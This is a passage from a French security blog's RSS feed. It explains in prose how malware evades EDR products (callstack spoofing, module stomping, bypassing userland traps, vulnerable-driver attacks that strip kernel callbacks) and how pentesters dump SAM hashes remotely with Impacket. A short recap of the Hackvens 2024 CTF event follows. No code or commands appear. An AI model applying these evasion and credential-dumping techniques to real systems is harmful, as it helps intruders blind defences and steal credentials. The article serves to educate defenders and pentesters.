<p>Un des <a target="_blank" href="https://github.com/klezVirus/SilentMoonwalk"><strong>exemples d’implémentation existant</strong></a> utilise des gadgets, qui sont des suites d’instructions assembleur dans des modules Windows légitimes, qui ensemble forment une <em>callstack</em> complète, mais qui, lorsqu’ils sont exécutés, vont modifier la <em>stack</em>, ce qui va désynchroniser les retours de fonctions successives, pour pouvoir récupérer le flux de l’exécution du programme.</p>
<p>La dernière catégorie consiste à mettre en mémoire une DLL légitime, associée à un fichier sur disque, puis de modifier le contenu en mémoire de cette DLL (<em>module stomping</em>). Toutefois, cela peut mener à des détections spécifiques, notamment des événements ETW « locaux » au processus, et cela modifie un attribut de la page mémoire spécifique lié au <em>copy-on-write</em>.</p>
<h3 id="heading-des-pieges-en-memoire"><strong>Des pièges en mémoire</strong></h3>
<p><img src="https://cdn.prod.website-files.com/66b4f677818acbec83587b15/67507baf6cce6944c2507756_trap.gif" alt="It'as a trap !" class="image--center mx-auto" /></p>
<p>It’as a trap !</p>
<p>Enfin, différentes solutions emploient différentes techniques peu documentées pour tenter d’obtenir des éléments de télémétrie supplémentaires.</p>
<p>On peut citer différents mécanismes, tels que :</p>
<p>– L’utilisation des <a target="_blank" href="https://github.com/ionescu007/HookingNirvana/blob/master/Esoteric%20Hooks.pdf"><strong>Intrumentation Callback</strong></a>, permettant à une solution d’EDR de récupérer le flux d’exécution d’un programme après chaque instruction <code>syscall</code>.<br />– La présence de fausses entrées au sein des listes chaînées des modules dans le PEB. Si un programme <a target="_blank" href="https://x.com/NinjaParanoid/status/1493396083644399616"><strong>tente d’accéder</strong></a> à un zone mémoire associée à ces fausses entrées, une exception est levée, car la mémoire est protégée avec l’attribut <code>PAGE_GUARD</code>. L’exception est alors attrapée par l’EDR, qui pourra noter ce comportement anormal.<br />– L’enregistrement de fonctions de <em>callback</em> lors du chargement dynamique de DLL via <a target="_blank" href="https://learn.microsoft.com/en-us/windows/win32/devnotes/ldrregisterdllnotification"><strong>LdrRegisterDllNotification</strong></a> du côté <em>userland</em>.<br />– Des vérifications d’intégrité, pour s’assurer que certaines fonctions, comme <code>NtTraceEvent</code> n’ont pas été modifiées en mémoire.</p>
<p>Bien que ces mécanismes puissent générer de la télémétrie supplémentaire, ces différentes techniques ne sont que peu robustes : un <em>malware</em> étant au courant de l’existence de ces mécanismes pourra simplement les retirer avant d’exécuter son programme malveillant.</p>
<h2 id="heading-par-rapport-a-un-pentest-typique"><strong>Par rapport à un pentest « typique »</strong></h2>
<p>Aujourd’hui, il n’est plus du tout aussi trivial de s’affranchir des mécanismes de détection et de blocage des EDR.</p>
<p>Aussi, afin de contourner ce problème, en test d’intrusion notamment, des méthodes alternatives sont employées. Depuis un poste physiquement présent au sein du réseau (ou une Raspberry Pi, par exemple), l’auditeur va lancer la majorité de ses attaques depuis son propre poste, qui n’est pas monitoré. De plus, les actions menées vont tenter au maximum de ne pas exécuter de programme directement sur la machine cible, et utiliser uniquement des appels de procédures à distance (RPC) existants sur l’ensemble des machines Windows.</p>
<p>Il est difficile pour un EDR de correctement bloquer ces attaques, puisqu’il n’y a pas vraiment de processus sur la machine victime à bloquer. Au mieux il est possible de le détecter, car le processus malveillant est sur une machine distante non monitorée.</p>
<p>Certains EDR tentent tout de même de bloquer certains appels RPC en tuant le processus sur la machine victime, mais en général ces détections ne sont pas très robustes. Par exemple, l’utilitaire <code>secretsdump.py</code> de la suite <code>Impacket</code> permet de faire un <em>dump</em> de la base SAM à distance. Pour ce faire, les ruches de registre correspondantes sont d’abord écrites sur disque, puis récupérées via le protocole SMB. Certaines solutions d’EDR vont tenter de détecter ce <em>dump</em>, pour essayer de rapidement le supprimer, mais cela laisse une fenêtre de temps durant laquelle le fichier peut être lu.</p>
<p>Bien que cela puisse représenter certains scénarios de compromission (accès VPN compromis, <em>appliance</em> non patchée, application Web compromise, accès physique), cela ne couvre pas l’ensemble des scénarios existants (<em>phishing</em>, accès RDP exposé, etc)</p>
<h2 id="heading-par-rapport-a-de-vrais-attaquants"><strong>Par rapport à de vrais attaquants</strong></h2>
<p>Tous les attaquants n’ont pas forcément les compétences ou les moyens de contourner ces solutions. Pour arriver à leurs fins, il est très fréquent de voir l’utilisation d’utilitaires légitimes d’accès à distance (TeamViewer, AnyDesk, etc). Bien qu’il soit simple de détecter l’usage de ces utilitaires, il n’est pas possible de les bloquer par défaut, car ils sont également très fréquemment utilisés pour de l’administration système.</p>
<p>Cela est également vrai pour les différentes phases d’une attaque, où les attaquants vont abuser d’utilitaires légitimes pour ne pas être bloqués par des solutions EDR (par exemple, utilisation d’ADExplorer pour de la reconnaissance, de PsExec pour du mouvement latéral, etc).</p>
<p>Enfin, les attaquants tentent aussi de désactiver l’EDR en place. Pour ce faire, un accès administrateur est nécessaire. Avec celui-ci, les attaquants vont tenter d’altérer le <em>driver</em> de l’EDR, chargé dans le <em>kernel</em>.<br />Pour pouvoir interagir avec la mémoire du <em>kernel</em>, ils vont charger un <em>driver</em> connu pour avoir une vulnérabilité, puis exploiter cette vulnérabilité pour retirer les différents <em>callbacks</em> et points de visibilité de l’EDR, qui ne sera alors plus en mesure de détecter des programmes malveillants, même connus statiquement. Il existe différents exemples open-source, comme <a target="_blank" href="https://github.com/wavestone-cdt/EDRSandblast"><strong>EDRSandBlast</strong></a>.</p>
<p>Différents vendeurs de solution d’EDR ont déjà <a target="_blank" href="https://www.trendmicro.com/en_us/research/22/h/ransomware-actor-abuses-genshin-impact-anti-cheat-driver-to-kill-antivirus.html"><strong>signalé avoir observé ce genre de comportement</strong></a> lors de vraies intrusions.</p>
<p>Pour contrer cela, depuis Windows 11, une <em>blocklist</em> de <em>drivers</em> connus comme vulnérables existe, mais la liste n’est pas forcément à jour, et tous les <em>drivers</em> vulnérables ne sont pas forcément connus.</p>
]]></content:encoded></item><item><title><![CDATA[Le Hackvens 2024, Retour d’expérience]]></title><description><![CDATA[La journée était ponctuée par plusieurs conférences sur plusieurs sujets tels que:

un retour d’expérience sur le redteam et l’intrusion physique, qui consiste à obtenir des « trophées » chez un client (obtenir des privilèges élevés sur le système d’...]]></description><link>https://blog.login-securite.com/le-hackvens-2024-retour-dexperience</link><guid isPermaLink="true">https://blog.login-securite.com/le-hackvens-2024-retour-dexperience</guid><dc:creator><![CDATA[Login Sécurité]]></dc:creator><pubDate>Tue, 28 Jan 2025 23:00:00 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1754311293250/be4519eb-dc55-4edb-b322-dc0777bf7791.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>La journée était ponctuée par plusieurs conférences sur plusieurs sujets tels que:</p>
<ul>
<li><p>un retour d’expérience sur le redteam et l’intrusion physique, qui consiste à obtenir des « trophées » chez un client (obtenir des privilèges élevés sur le système d’information du client, accéder aux mails d’un directeur, accéder à la salle des serveurs …)</p>
</li>
<li><p>une présentation du purple team, qui est un échange entre l’attaque et la défense, pour s’améliorer mutuellement</p>
</li>
<li><p>une exhibition de certaines techniques de jailbreak IOS, c’est à dire prendre le contrôle total d’une machine Apple.</p>
</li>
<li><p>présenter l’outil vulture os, qui permet la collecte et l’enrichissement des logs, pour faciliter la détection des attaques chez un SOC.</p>
</li>
<li><p>certains retour sur de la planification d’audit, et les difficultés qui peuvent en découler.</p>
</li>
</ul>
<p>Les conférences étaient assez sympathiques et diversifiées.<br />Celles que j’ai particulièrement appréciées sont celle sur le redteam, et celle sur le jailbreak.<br />En effet, je trouve l’intrusion physique très impressionnante, surtout lorsque des gens ouvrent des boites à clefs, des serrures et des portes fermées, et celle sur le jailbreak présentait des sujets très spécifiques, mais toujours très intéressants.</p>
<p>Enfin, en début de soirée, et jusqu’au petit matin a eu lieu une compétition de cybersécurité (appelé aussi Capture The Flag).<br />Elle consiste en une vingtaine d’épreuves, sur divers domaines de la cybersécurité, sur des sites et programmes qui ont été préparées pour l’occasion.<br />On peut y retrouver entre autre la compréhension et l’exploitation de programmes informatiques, des attaques sur des sites Webs, ou d’environnement Kubernetes mal configurés, de l’analyse de journaux.</p>
<p>Notre équipe Khactus s’est placée deuxième de l’évènement, après un affrontement très serré.</p>
<p><img src="https://cdn.prod.website-files.com/66b4f677818acbec83587b15/67507d31a04b36d606f2f186_Media.jpeg" alt="L'équipe Khaktus" class="image--center mx-auto" /></p>
<p><img src="https://cdn.prod.website-files.com/66b4f677818acbec83587b15/67507d3d8e807b7f1ab657a5_scoreboard.png" alt="Le scoreboard, Khacktus est plutôt bien placé :)" /></p>
<p>C’était une très bonne expérience. Un grand merci aux organisateurs.</p>
<p>Vous pourrez trouver nos solutions aux épreuves sur le blog.</p>
]]></content:encoded></item></channel></rss>